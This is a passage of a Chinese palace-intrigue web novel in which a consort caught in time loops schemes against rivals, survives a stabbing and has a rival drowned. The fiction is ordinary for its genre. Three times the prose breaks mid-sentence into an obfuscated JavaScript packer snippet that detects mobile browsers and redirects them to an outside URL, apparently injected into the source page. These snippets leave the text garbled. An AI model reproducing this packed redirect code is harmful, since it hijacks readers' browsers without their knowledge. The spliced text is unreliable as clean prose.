江萤这边正跟金盏揣测,那边时间一分一秒地过去,静贵人却迟迟未曾现身。众人等得有些不耐,以再慢的脚程,也早该到了,静贵人是怎么回事,到底还来不来了?稍微打听一下,也知道皇帝震怒,迟迟不来,是嫌死的不够快吗?还是畏罪,直接不敢前来了。 众人的目光不禁开始游移,瞥向前方面露不虞的皇帝。皇帝传唤,静贵人也敢迟迟不到,实在是胆大包天。也是,宫闱重地,静贵人一出手便奔着两条人命来,胆子还不够大吗?恐怕她早已视宫规为无物了。如今迟迟不到,这是知道事情已成定局,放弃为自己辩解,放弃挽救皇帝心中的形象了? 众人神游天外:此事不知会如何收场?终究是一家人,皇上方才处置云常在不留情面,但不知……皇上会如何处置这个表妹呢? 10. 第四次轮回(三) 就在众人焦急等待之际,一个意想不到的身影出现在御花园的入口。只见太后身边立春姑姑匆匆走来,向皇帝皇后福身行礼。她的出现让在场的众人不禁一愣,纷纷将目光投向她。 皇帝微一抬手,示意立春起身,疑惑道:“姑姑怎么来了?可是皇额娘有什么示下吗?”他的目光在立春姑姑的脸上扫过,试图从她的表情中读出一些端倪。 立春恭敬严肃道:“皇上,静贵人听闻四皇子遇险、明嫔被人下毒和温庶人指认之事,痛心疾首之下,已然晕厥。太后得知后,心痛不已,已着人将静贵人好好诊治。太医诊断说静贵人是委屈愤懑,心思郁结导致的昏厥。” “如今静贵人身体虚弱,不能轻易挪动”,立春又屈膝行了一礼,“故请皇上恕罪,静贵人实在挪动不得。静贵人醒后,不顾自己身子虚弱,一心只想来和皇上解释清楚。只是太后一直将这孩子视若己出,心疼坏了,执意不让她来,让她好好休息,所以奴婢就腆着老脸,来此走了一遭。如今静贵人已请太后为其在寝殿旁布置了一处小佛堂,决意带发修行,自请为四皇子和皇上祈福。” 立春语气中带着一丝恳求:“太后言,静贵人与皇上自幼相识,皇上深知这孩子秉性,此次定是遭奸人陷害,还请皇上明鉴。”又转头冷冷看向温蕊,就这样淡淡宣布了温蕊的命运:“温庶人居心叵测,此前一直教唆静贵人,又在宫中犯下如此大逆不道之事,事后竟然还大言不惭地攀诬静贵人,实在是太不像话。太后还请皇上速速处置了罪魁祸首温庶人,以正视听,以正宫规,以肃宫闱,以慰众人之心。” 温蕊一直跪在地上,像霜打的茄子,蔫蔫的,了无生气。听闻此言,却瞬间气活了几分。她嘴角一扯,嗤笑一声,抬起头恨恨地盯着立春:她为静贵人鞍前马后,如今东窗事发,不说拉她一把,反而落井下石,杀人灭口。若不是顾及父亲在静贵人大伯手下做事,她一定拉着静贵人一起去死!太后不愧是太后,真是心狠手辣,敲骨吸髓,将人的最后一分价值都榨干了! 皇帝轻轻“嗯”了一声,道:“皇额娘的意思,朕已知晓,请皇额娘放心。静贵人……让她好自为之吧。她既已自请入佛堂,朕便允了。礼佛贵在心诚,让她好好修行,轻易就不要出门了。” 立春最后行了一礼,道:“是,奴婢一定转达。奴婢的任务已毕,这就回去复命了。太后给四皇子、贤妃和明嫔赏了些东西,让奴婢代为转交。 “谢太后娘娘赏。”江昭和贤妃行礼,示意乐雪和木樨接下。 静贵人才是幕后主使,此事昭然若揭,静贵人本应受到应有的惩处。然而,如今却只是轻飘飘地以带发修行草草了事,连降位都不曾。贤妃心中很是不平,正欲上前开口争辩。但江昭不赞成地看向她,对她微微摇了摇头,眼神中带着劝阻。贤妃见状,只得无奈止住脚步。 她们都明白,太后出面,这是要力保静贵人了。皇上虽有心惩处,但碍于孝道,也不好太过违拗太后的意思,只好顺着太后给的梯子下了。处置了温蕊,此事也算是有个交代,在众人面前面子上过得去罢了。真相如何,其实众人都心照不宣。此事的结果,不过在上位者一念之间罢了,终究是看上位者心思如何。江昭和贤妃虽然心中满是愤懑,却也无可奈何,只能将这口怨气咽下,等待他日再寻机会。 “都散了吧,朕去瞧瞧四皇子。”皇帝心情不快,无意多留,大步离去。 随着众人陆续离去,御花园中只剩下一片死寂。胆战心惊的宫人们被一一传唤而来观刑。侍卫们手持棍棒,缓缓走向温蕊。她闭上眼睛,泪水无声地滑落,却已无人再能救她。 温蕊能感受到宫人们的目光落在她身上,那些目光里藏着害怕,怕自己也会落得和她一样的下场;也藏着嘲讽,对她的结局幸灾乐祸。想想几个时辰前,她还是天子宫嫔,风光无限,高高在上,如今却沦落至此,被一堆低贱的奴才围着观刑,见证死状。一念天堂,一念地狱,不外乎如是。可静贵人却因有太后庇护,毫发无损!温蕊心里清楚,自己大限已到,她知道按理该默默接受这一切,毫无怨言地赴死,可她做不到! 谁进宫不是怀揣着一步步往上爬的野心?温蕊的不甘和怨气在心里越积越多,几乎要撑破胸腔。为什么?为什么同样是宫嫔,她却只是个被人利用的棋子?为什么她没有一个权势滔天的父亲?为什么她要被榨干所有利用价值后,就被无情地抛弃?这些问题在她脑海中盘旋,可她放弃去想为什么了。温蕊觉得这世间就是这么不公,她疯狂地笑起来,笑声越来越大,越来越尖锐:“哈哈哈哈,我姑母是太后!我是云妃!我是云后!尔等还不行礼参拜!”她的声音在御花园中回荡,显得格外刺耳和癫狂。 有几个宫人偷偷窃窃私语:“温庶人疯了。” 侍卫们见了温蕊歇斯底里的情状,见怪不怪,迅速上前,将她按倒在地。毫不留情,利落地堵住了她的嘴。温蕊挣扎着,但不过是徒劳,于是只能发出“呜呜”的大叫。随着棍棒密集地落下,那“呜呜”的声音也越来越微弱,最终彻底淹没在棍棒的敲击声之中。 这边云常在伏诛,那边江昭和贤妃走在宫道上,宫人隔着一段距离不远不近地跟着。 贤妃轻哼一声,道:“太后说静贵人无辜的很,你可信吗?” 江昭笑道:“不过一个马前卒”。 贤妃接话道:“如今已是弃子了”。 江昭看着她道:“今日之事,虽未尽如人意,但好歹扳倒了一个云常在,也为瑾儿讨回了几分公道。皇上心有计较,静贵人已是失了圣心,被皇上变相的禁了足,轻易威胁不到我们了。” 贤妃轻叹,紧蹙的眉头却舒缓不了,“话虽如此,可我总是害怕。静贵人就像一条暗处的毒蛇,虽然被短暂关押起来,可谁知道,冷不丁就哪天窜出来咬你一口,实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118401|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是叫人心下难安。” 江昭赞同:“谁说不是呢?” 贤妃恨恨道:“可恨我没有那样的一个好姑母。” 江昭握住她的手,安慰道:“姐姐安心,她躲得过初一,躲不过十五。不是不报,时候未到。失了圣宠,她还能掀起什么风浪?不过是秋后的蚂蚱罢了。事在人为,姐姐不要太灰心了。” 贤妃愁思稍解,朝江昭微微一笑,“不过,经此一遭,我们还需多加提防才是。静贵人丧心病狂,不知道会做出什么事来。” 江昭点头:“姐姐说的是。”静贵人,看太后能庇护你到几时?咱们来日方长呢! 晚间,江昭斜倚在榻上,手中捧着一本《珂雪斋集》,细细地翻阅着。书页微微泛黄,在柔和的烛光下显得格外宁静。旁边,烛火轻轻爆开,发出噼里啪啦的声响。屋内弥漫着淡淡的檀香,一缕轻烟袅袅升起。 江昭的目光在书页间游移,分明是静谧的夜晚,她的心绪却有些难以平静。往日里她最爱的书籍,此刻也难以让她沉浸其中。江昭有些出神,如今明明生死大劫已过,她和四皇子均安然无恙,但她总感觉这一切有些不真实,心中隐隐泛起一丝不安。 她轻轻叹了口气,放下手中的书,轻声唤道:“来人,把醉琴押进来。” 醉琴狼狈地被押了进来,跪在了地上,她面无表情,只垂头盯着地面。 江昭以手支颐,目光盈盈,有些伤感道:“你没有话要同本宫说吗?” 醉琴毫无反应,闭口不言。 江昭叹气,为自己感到不值:“我们自小相伴,父亲说你父母双亡,故而比起乐雪,我一直心疼你多些。这么多年了,谁忠谁奸,我竟一直不曾看清楚过。” 江昭正欲再问,守在外头的小安子道:“娘娘,芙小主来了。” 江昭迅速道:“顾着咱们的情谊,我不曾将你送去慎刑司。要不要步云岫的后尘,你自己好好想想清楚,明日来回本宫的话。” 又朝窗外道:“快请进来。” 芙贵人陆瑶进来,泫然欲泣:“昭姐姐,你们今日可真是太险了,可把我担心坏了。姐姐下午去瞧瑾儿,也不喊我同去。我方才去瞧了瑾儿,还好如今已无大碍。我特特来瞧瞧姐姐如何了。” 江昭笑道:“难为你还想着我,放心,我自是无事。你瞧,都好好的呢。” 陆瑶道:“既瞧过了,我心也安了,这便走了,姐姐不必留了。” 江昭自然是要留她,陆瑶推辞,道天色晚了,江昭遂罢了。送走了陆瑶后,江昭突然有些疲惫,这样平常的一天,却实在是惊心动魄。 这一天正要这般度过之时,不想又有不速之客不请自来。来人缓缓摘下帽檐,竟是本该在佛堂中“带发修行”的静贵人,江昭原本落在实处的心瞬间又提了起来,眼中闪过一丝警惕,她不会忘记,她之前所遭受的一切,都是拜静贵人所赐。 11. 第五次轮回(一) 两人于院中相对而立,院中月色如水,清冷的光辉洒在两人身上,将她们的面容映得更加清晰。静贵人显然失意,眉宇间凝着一股挥不散的愁云,藏着一抹隐忍的阴鸷。 江昭目光锐利,试探她的来意:“静贵人,漏夜前来,不知有何要事?” 静贵人低着头,看不清神色,声音却极冷,像淬了冰,听得江昭毛骨悚然,“本宫自是有要事与你相商。” 江昭微微蹙眉,心知来者不善,她强硬道:“静贵人,天色已晚,本宫正要歇息。贵人若有要紧事,不妨明日再来。” 静贵人冷嘲道:“明嫔说这话便不诚心了,拜你和贤妃所赐,白日里我哪里能出来?只得深更半夜偷偷摸摸来此罢了。” 江昭暗忖静贵人如今因为她失了圣心,不知如何癫狂,如今更不知她要做什么,实在令人忧心。但她也明白,此时若一味退缩,只会让静贵人更加得寸进尺。她微微一笑,从容道:“宫中岁月漫长,静贵人有话要说,何必急于一时呢?想来过不了多久,皇上气消了,自然会放贵人出来。如今天色已晚,本宫确实疲惫,就不同贵人寒暄了,请回吧。” 静贵人拒不配合:“我既来了,就没有想走的意思,明嫔是执意不肯给我面子了?” 江昭嘲道:“贵人这话从何说起?贵人深更半夜不请自来,好不唐突,又胡搅蛮缠,本宫倒是不明贵人何意呢?” 静贵人高傲道:“你不必故作姿态,今日之事,你心里清楚得很。本宫决不会轻易罢休。本宫看你是心虚了。” 江昭笑道:“激将法对我却是没用的,贵人可别白费心思了。我瞧着贵人才是不诚心的很,来意也遮遮掩掩,不肯痛快说清楚呢。若是还说不出个所以然来,本宫便要请人送客了。” 静贵人说了个看似无关的话题:“你猜我来的时候,遇着芙贵人,她同我说了什么吗?” 江昭毫不在意:“贵人不必告诉我,我倒不想知道呢。” 静贵人不管,仍自顾自地说话,“你一定想不到,因为连我都想不到她敢这么说呢。”静贵人挑起眉梢,咬牙切齿道:“芙贵人啊,她说我失了圣心,就像一条落水的狗。她还说了好些呢,不如我慢慢地说与你听啊。你们姐妹同心,想来她的意思,也是你的意思了。” 江昭一怔:陆瑶……她果真这么说吗? 静贵人好整以暇道:“来者是客,明嫔还不请我进去说吗?实在要在这里说,也不是不可以。” 江昭的目光在静贵人的脸上扫过,心中迅速权衡着利弊。她知道静贵人此行,绝非善念,但如今看来,对方是打定主意不肯轻易离去了。江昭心中暗自思索,她也想知道静贵人究竟在想什么,为何会对她恨得如此入骨。思量片刻后,江昭心中有了决断。反正这里是自己的地盘,只要小心些,又有什么好怕的呢? 江昭道:“来者是客,不过,你倒是个稀客。你既不肯走,便进来吧。” 两人在室内榻上相对而坐,中间隔着一张几案,上面摆放着两盏刚刚泡好的雾山青。江昭沉稳坐着,姿态平静,“静贵人,如今只有你我二人,就不必绕弯子了,有什么话,就快点说吧。” 静贵人道:“你倒是沉得住气,倒是我小瞧了你。你就不想问问我为什么那么恨你?又为什么要害四皇子?” 江昭不意她如此直白,赤裸裸地把事情摆到明面上来,不过这样也好。只是这激将法,江昭并不上当,不急不缓道:“你若想说,自然会说。” 静贵人果然不负江昭所望,摸着肚子,道:“我有身孕了。” 江昭正沉浸在震惊之中:她竟瞒得这样好。静贵人的声音再度突兀响起,带着难以掩饰的狠戾:“我的孩子自然应该是最尊贵的,凡是挡我孩子的路的,我一个都不会放过。”她微微一顿,眼神中透着疯狂,“我的孩子怎么能有污点,怎么能不得父亲喜爱。这都是因为你,江昭!” 静贵人缓缓站起身,衣摆带风,一步步逼近江昭,指尖几乎戳到江昭鼻尖,声音由低转厉:“是你和贤妃联手,把我推到了这个地步。是你早就想除掉我,好独占皇上恩宠。你一定会趁我不在,在皇上面前诋毁我,让我在皇上面前彻底失去立足之地。” 她的声音逐渐提高,表情狰狞,“你——江昭!若非你,我怎会落得今日的下场?陆瑶说我必死无疑,不过早晚的事。她说你绝不会放过我,让我走着瞧。” 说着,静贵人步伐逐渐加快,眼神中透着一丝嗜血的光芒。“既然你我之间,已是你死我活,不如我就提前送你上路。” 她的脸上浮现出一种扭曲的疯狂,仿佛所有的理智都被仇恨和愤怒吞噬。江昭见状,心中一突,下意识地往后躲去。 电光火石间,静贵人衣袖一翻,寒芒乍现——一柄薄刃匕首已握在掌心。她欺身上前,刀尖对准江昭心口,毫不犹豫地刺入、猛拔。匕首在空中划出一道寒光,霎时间鲜血如注,瞬间溅开。江昭只觉胸口一凉,剧痛炸开,又迅速被滚热淹没。她尚未呼痛,身子已晃了晃。乐雪尖叫着扑来,却只来得及用绢帕按住那汩汩涌血的伤口。江昭双膝一软,重重跌进自己迅速漫开的血泊里,烛火在血光中跳动,映出静贵人扭曲而癫狂的脸。 ———— 天光大亮。 血好像仍在汩汩的涌,热意一丝丝被剥离。 江昭指尖按在胸口,仿佛按住她自己的命运……却是徒劳。胸口好像破了个大洞,怎么也堵不住,看不见的血从指缝间溢出、溜走,像嘲笑她一路的挣扎。 “明明……已经走到这一步。” 她低低地笑,声音涩得发苦。 每一次重来,她都以为自己抓住了转机:救下瑾儿、扳倒云常在、逼出静贵人的狐狸尾巴……可到头来,静贵人仍抚着肚子站在光亮处,太后轻飘飘一句“带发修行”便抹平所有血债;而她,胸口破开,血冷如冰。不敢行差踏错 她又回来了,可是这一次一次的轮回究竟能改变什么呢?她付出的那些努力,尽是一场空!是老天在戏耍她吗?看着她为了活命如履薄冰,殚精竭虑,却总是棋差一招,功亏一篑? 这一次一次地轮回,似乎是苍天的恩赐,可于她而言,又何尝不是一种折磨! 她想起上一回也是这样:灯火、血泊、无力。 “老天究竟要我重来几次,才肯停手?” 江昭阖眼,睫毛上沾着泪,分明是夏季,却仿佛三九严寒,冷得发颤。 可下一瞬,她咬牙,齿间有血腥味。 “不,不是天意戏我。” 她缓缓撑起身,看不见的血珠顺着衣襟滚落。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118402|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是我还不够狠,不够绝。” 若天道不公,她便劈出一条生路;若命运嘲弄,她便踏碎那副棋盘。 她已明白,苍天给她的从来不是恩典,而是一副必须赢的残局。 她已被困在这轮回之中,逃脱无门,是生是死,即便由不得她做主,她也要做一做主!若逃不出去,便只能一遍一遍地重复惨死的命运,直至疯癫,迷失在时间的长河中。江昭努力保持冷静和清醒,如今恐怕只有避开所有的死局才能彻底逃脱这轮回。 她唯一能用的筹码,就是前四次用血换来的“先知”——谁会在何时何地落子,哪一处是生门,哪一步是死路,哪一步能翻盘,哪一步是绝处逢生。于是,每一次布局都像在刀尖上跳舞:她必须赢,也必须快。 血未干,心已燃。 这一次,她不会再让任何人把她的命当笑话。老天也不行。 凭什么善良的却不得好死?凭什么祸害反而遗千年? 她提笔蘸墨,腕间一沉,一个“活”字便以生崩地裂之势劈开纸面、摧枯拉朽般跃出纸面。江昭胸腔里那口郁结已久的浊气,终于随着最后一笔落下缓缓吐出。 笔锋落定,墨汁溅作星点。 江昭仔细思索对付静贵人的法子。 下毒? 只需几滴鸩酒,便能叫那张狂的脸永远失声。 可若真那么做,她与静贵人又有何分别?她厌恶的,正是草菅人命、阴狠残忍。若自己也成了那副模样,这些年的坚持、对瑾儿教的“光明磊落”,岂不成了笑话? 心口的洞还在漏风,她几乎听见自己心跳的回声——空洞、仓皇,却又倔强。 她缓缓松开指尖,掌心白得几乎透明,可她却仿佛看见了一滩早已干涸的暗褐色血迹。 “我不能变成她。”江昭低声道,声音轻得像在劝自己,“可我也不能放过她。” 对敌人心慈手软就是对自己残忍。只是……静贵人,该怎么扳倒呢?她有太后做靠山,有皇帝的幼时情分,又有了身孕,等于说揣了块免死金牌。再多的情分也有消磨殆尽的一天,再大的靠山也有倒下的一天,免死金牌……也可能变成废铁,江昭的脑中开始酝酿一场风暴。 她必须快,一步快,步步快。江昭振作起来,理智恢复,她深吸一口气,抬手,指尖掠过案上墨迹未干的笺纸,从前的挣扎历历在目。 第一步,仍是醉琴与云岫。 二人尚未来得及辩驳,便被扣了人,骂醒云岫后,一同押去了库房。一盏茶内解决,利落、干净。 第二步,仍是御花园。 她遣人速报皇帝与贤妃,自己则带着一众宫人直奔荷塘。水波起,小安子攥住四皇子的后领,将那孩子从湿冷的荷叶间提了出来。 第三步,仍是云常在。 云常在尚未来得及露出错愕神色,江昭已命人将她按跪在碎石路上,罪名是“谋害皇嗣”。皇帝来了,依旧是杖杀,依旧是血,依旧是御花园里绽开血色的花。 第四步,立春。 江昭曾想过让乐雪带小安子在路上偷偷打晕立春,让她无法替太后传话。可太后一定默默关注着御花园,关注着皇帝对静贵人的处理结果,即便没有立春,还有立夏、立秋……贸然出手,还会引起太后的怀疑,遂暂且作罢。 12. 第五次轮回(二) 下一步,请君入瓮。 深夜,“带发修行”的付璃果然赶来,她一身海青,发间只簪一只银钗,却掩不住眼底戾气。 江昭早已吩咐宫人不必阻拦,付璃推门而入,烛影摇晃,江昭披衣立于案前,指尖正拨弄一封密折。乐雪和小安子默默侍立一旁。 “你来了。”江昭抬眼,声音平静,毫不意外。 江昭嘴角微微弯起,带着毫不掩饰的嘲讽,呛到:“佛家讲究六根清净,太后让你静修,你却夜闯本宫寝宫,佛门清规都喂了狗?” 付璃眸色一沉,袖中暗藏的短刃便要刺来:“贱人!我这就送你去见阎王。” 话音未落,江昭早有准备,将案上密折掷向她手边,挡住刺来的匕首。折上详列付家近年贪墨、结党营私的证据。这自然是江家为防止付璃威胁她的地位,一早为扳倒付家做的准备。趁付璃脸色骤变,小安子已如影掠至,一把夺了付璃手上的匕首。 “想杀我?可惜这些东西已抄送三份,一份在江家,一份在御史台,还有一份”,江昭指了指窗外,“在皇上案头”这话自然是江昭临时编的,但哄住此时的付璃也足够了。 “你靠太后,我靠江家。”江昭俯身,声音压得极低,“皇上忌讳江家,却也忌讳外戚。今日你死,是江家替皇上除患;我活,是皇上借江家之手平乱。里外都是帝王术,你我只是一颗子。” 付璃踉跄后退,眼中疯狂褪去,只剩惊惧。小安子早已蓄势待发,趁她分神,身形一闪,掌缘如刀,精准劈在她颈侧。 一声闷哼,付璃双膝一软,重重倒在青砖地上。 “带发修行?”江昭居高临下,轻声道,“今夜便让你真修行——去阎罗殿。” 乐雪道:“娘娘何必同她废话?” 江昭笑道:“杀人,怎能不诛心呢?” 井台青石覆苔,幽绿在月色里泛着冷光。 乐雪与小安子一人拽臂、一人抬足,把昏死的付璃抬到井边。片刻后,只传来极轻的“咚”的一声,仿佛一粒石子投进深渊,再无波澜。 井水平复,月色依旧,像什么都没发生过。 乐雪走进内室,福了福道:“娘娘,事情办妥了。奴婢和小安子很谨慎,并无人瞧见。” 江昭微微点头,问:“可抬远了些吗?” 乐雪答:“娘娘放心。另外,烟岚也按娘娘的吩咐守在半途,将芙小主劝回了。” 乐雪担忧道:“娘娘,静贵人……失足,皇上可会疑心您?” 江昭抬眸,面色静得骇人:“自然。”可那又如何,如今她懂了,皇帝忌讳她江家的势力。她付璃有太后做靠山又如何,她也有江家做靠山。只要没有证据,皇帝和太后就奈何她不得。 付璃既是避人耳目偷偷前来,这一点,正好也能为她所用。江昭道:“她今夜擅离佛堂,本就违了皇上旨意。黑灯瞎火,青苔又滑,失足落井再寻常不过。若皇上仍要细究”江昭顿了顿,声音低而冷,“那也有缘由:付氏谋害皇子,自觉无颜,愧对圣上,投井自尽”。 江昭叹道,“佛/度/有/缘/人,可惜,她并不是。” “我本来不想走到这一步。” “她若肯收手,井水不犯河水,我自会留她一条活路。可她步步紧逼,刀刀致命。一日不除,我便一日不得安眠。” “人不犯我,我不犯人。人若犯我,我只得先下手为强。她敢半夜闯我寝殿杀人,我就敢让她永远回不去。” “她疯起来毫无顾忌,我却不能让她死在我宫里。血溅衾枕,脏了我的地方,还给了旁人攻讦的机会。所以,我给她留一扇门、一条路,让她自己奔进来,再自己跌下去。” “静贵人原是一柄利刃,用得巧妙,自可伤敌。可惜刀锋朝我,那便只能折了。” 江昭低低地笑了一声,那笑里既无快意也无怜悯,只余算计。 “她偏执,我就用她的偏执做引子。她容易被情绪控制,我就利用她的情绪,让她作茧自缚。刀柄握在她手里,刀尖却早已对准她自己。” 惊心动魄的一天终于平安度过。 第二日。 昨日碧空澄澈,天朗气清。谁料一夜风翻云卷,早早便起了雨。初是淅淅沥沥,转瞬就织成密帘,檐角风铃叮当作响。 雨脚急时,昨日遗落的脚印、零散的尘灰,都被水流裹挟,无声无息地消失。 辰时初,宫檐上积雨未干,滴水声零星错落。皇后昨夜忽发高热,早膳前传谕六宫免了请安。江昭得了信,却照常起身,命人摆了早膳——银碟小菜四道:芙蓉鸭子一品,春笋炒肉一品,三鲜丸子一品,云片豆腐一品。细点五样:竹节卷馒头,豆腐皮包子,一碟蜂糕,一碟绿豆糕,并一碟玫瑰酥。主食五种:一碗冰糖炖燕窝,一碗粳米膳,一碗鸡汤馄饨,一盏杏仁茶,一碗桂花糖藕粥。 雨窗半掩,檐声淅沥。江昭将早膳分下去后,握着银匙,慢慢搅着粥,热气在指尖缭绕。热气裹着桂花与蜜糖的甜香扑上指背,像只温软的小兽,把凉雨也熏得有了暖意。 忽地,小福子几乎是跌进来,雨水顺着帽檐往下淌,脸色惨白:“娘娘!娘娘!四皇子……殁了!” 银匙“当啷”一声掉在瓷碗里,溅起几点滚烫的粥花。江昭霍然站起身,“怎么回事!”。 “四皇子受了惊吓,晚上发起烧来,服了太医院的安神汤,听闻里头添了过量的朱砂,不到寅时就……”小福子声音打着颤,几乎咬到舌头,“皇上震怒,太医和经手的宫人已全数入了慎刑司。还有……静贵人……被人从井里捞了上来,泡得……泡得不成样子,听说验了是,子时前后失足落井。” 江昭扶住桌角,指节泛白,雨声与心跳混作一处……瑾儿,还是叫人给害了。是谁?没了云、静二人,竟还有别人吗? 乐雪忙去扶了江昭坐下,嗔道:“大早上的说这个,没得坏了娘娘吃饭的心情。” 江昭摆了摆手,示意小福子退下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121274|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“云常在杖毙,静贵人失足落井。可四皇子依旧没保住。” 乐雪攥紧了帕子,压低嗓音:“娘娘是说,还有人躲在更深的地方?” 江昭道:“走,去寻贤妃。” 云销雨霁,彩彻区明。 江昭携风而来,浅色裙摆沾了泥星,也顾不得擦。永安宫殿门半掩,里头传出压抑的啜泣,一声高一声低,像钝刀割着人心。 贤妃伏在案上,鬓发散乱,眼圈乌青,仿佛一夜间泪都哭干了。手边小几摆着四皇子生前把玩的一只足金小兽,已被她攥得变了形。见江昭进来,她勉强直起身,嗓音嘶哑:“昭儿,我……我守了一夜,却留不住他……” 江昭蹲下身,握住她冰凉的手:“姐姐,瑾儿走得冤,咱们得替他讨回来。昨夜是谁开的方,谁抓的药,谁煎的药,又是谁递的安神汤?” 贤妃摇头,泪又滚下来:“都入了慎刑司了,我只能等着听信。” 话音未落,殿外环佩轻响,芙贵人陆瑶提着朱漆食盒,步生莲花般走了进来。她一袭杏色宫装,眼尾微红,仿佛也替贤妃哭过。 “姐姐节哀。”陆瑶将食盒放在案上,打开来,甜香四溢,“我想着宁姐姐与昭姐姐这两日定是气血两亏,特让人做了八珍糕、七白糕带了来。健脾开胃,补气养血是最好的。二位姐姐若喜欢,我日日遣人送来。” 贤妃勉强笑道:“你有心了。” 江昭不忍拂她好意,轻咬一口。糕体绵软,入口即化,带着淡淡药香。未及几块入腹,腹中骤然抽痛,如刀绞一般,疼得人几乎昏死过去。她弯下腰,冷汗瞬间湿透里衣,指尖触及裙角湿热。 乐雪扑上前:“娘娘!血……有血!”血,已顺着江昭的腿根淌下,濡湿了裙角。 殿里登时乱作一团。陆瑶急得失了主意。贤妃哭传太医,又喊人快把江昭挪到卧榻上去。 不多时,裴玉提着药箱疾趋而入,衣袂带风。正欲俯身行礼,贤妃已抬手制止,“裴大人,快看看明嫔,这是怎么了。” 裴玉稳住心神,不敢去瞧江昭白白的脸色,他隔着方巾三指轻搭江昭腕侧,脉如珠滚玉盘,往来流利,有些虚弱,好在如水面波纹,微漾却未绝。 他垂着睫,不知该用什么表情:“是……喜脉,月份尚浅,本就不稳。又接触了滑胎之物,胎气受冲,险些……” 尾音一顿,他抬眼,视线却在半寸之外倏然折回,落在江昭袖口上,不敢再向上移。“娘娘方才,可曾入口或接触了什么寒凉之物?” 乐雪想了又想,道:“娘娘方才吃了几块八珍糕与七白糕,裴大人,可有何不妥吗?” 裴玉闻言便脸色骤变,眉头紧蹙,立即掰开糕点仔细嗅了嗅,又尝了尝,不赞成道:“八珍糕与七白糕本是补气血的佳品,有孕之人却不可擅用。八珍糕里的薏仁,属滑利之物,七白糕里的杏仁,有活血之用,又是寒性的,于孕妇和胎儿大为不利,幸而娘娘用得不多,万不可再用了。” 13. 第五次轮回(三) 乐雪后怕道:“娘娘早上还饮了一盏杏仁茶,多谢裴大人告知。” 裴玉叮嘱道:“娘娘月份尚浅,饮食坐卧,千万避免伤胎之物。” 乐雪应下。 江昭心口猛地一跳。 孩子? 她下意识抚向仍痉挛的小腹——那里竟什么时候藏了一个小生命,微弱却倔强,心跳与她自己的心跳叠在一起。若非此变故,她还不知会什么时候才发现自己有了孩子。 江昭几乎喜极而泣了,滚烫的泪顺着眼角流向鬓间,后怕和庆幸同时涌了上来:我的孩子,差一点,我的孩子就离我而去了! 陆瑶脸色惨白,连声说自己不知,“姐姐,我……我不知道。” 江昭虚弱,勉强安慰道:“不知者不罪,你也是好心。不怪你,我原也不知道。” 贤妃怔在榻边,脸颊上还有尚未干透的泪。 她的瑾儿尸骨未寒,而江昭——江昭竟有了身孕。 悲喜如冰炭同炉,她几乎听见自己心脏裂开的声响。 可下一瞬,她仍是扬起了唇角,那笑比哭更疼,却极温柔。 “昭儿,”明明是替江昭高兴,泪却掉了下来,“别怕,孩子还在。” 江昭握住贤妃的手,百感交集,有心想安慰她,却不知该怎样面对她,“姐姐……” 裴玉袖中的手指无声收紧。 他想起方才一路奔来,药箱撞在膝弯,生疼。那疼此刻才泛上来,却带着隐秘的甜:只有这疼,才能提醒他:她还活着,她还在他眼前。 裴玉垂眸,掩去眼底一瞬的晦色。 她是天子妃嫔,他不过一介太医。 于是他退后半步,躬身道:“微臣去拟安胎之方。” 转身时,他听见自己心跳声,擂鼓似的,一声比一声重,却全闷在胸腔里,连衣褶都没有惊动。 一碗安胎药下去,血才渐渐止了。陆瑶早已有事告罪离去。江昭躺在卧榻上,面色如纸。她阖上眼,一时感觉有些倦了、斗不动了。贤妃抱着她,泪如雨下:“你要好好的……害死瑾儿的人,难保不会对你下手。” 江昭回抱贤妃,仿佛抱着一阵风,松手便散了。两个单薄的灵魂紧紧依偎在一起,彼此取暖。 “姐姐”,江昭低声应着,一字一句都咬得极轻,却极郑重,“瑾儿的事若有一丝进展,千万告诉我。真凶一日不落网,我便一日难安。” “害我们的人,一个也跑不了。” 江昭指尖在贤妃手上轻点,像在拨弄一张看不见的宫闱棋盘。 “温氏已死,付氏失足落井,剩下的棋子不多了。”江昭分析,声音极冷,“有如此势力根基,能在姐姐宫里、太医院两头伸手,又敢对皇子动手的,多半是潜邸旧人,且位份在嫔以上。” 贤妃攥紧帕子,声音发颤:“太后不会……瑾儿是她亲孙,纵害了我也不会害瑾儿。穆妃性子淡,平日不与人争。荣嫔跋扈愚蠢,既无动机也无能力。兰嫔细腻周全,却无皇子,对付我有什么好处。皇后……获利最大。” 她顿了顿,眸光骤亮又暗,“皇后抱病免了请安,可病得最是时候。瑾儿殁了,大皇子便是唯一的皇子。宫里最想要瑾儿死的,是她。可大皇子已居嫡长,她为何还要赶尽杀绝!” 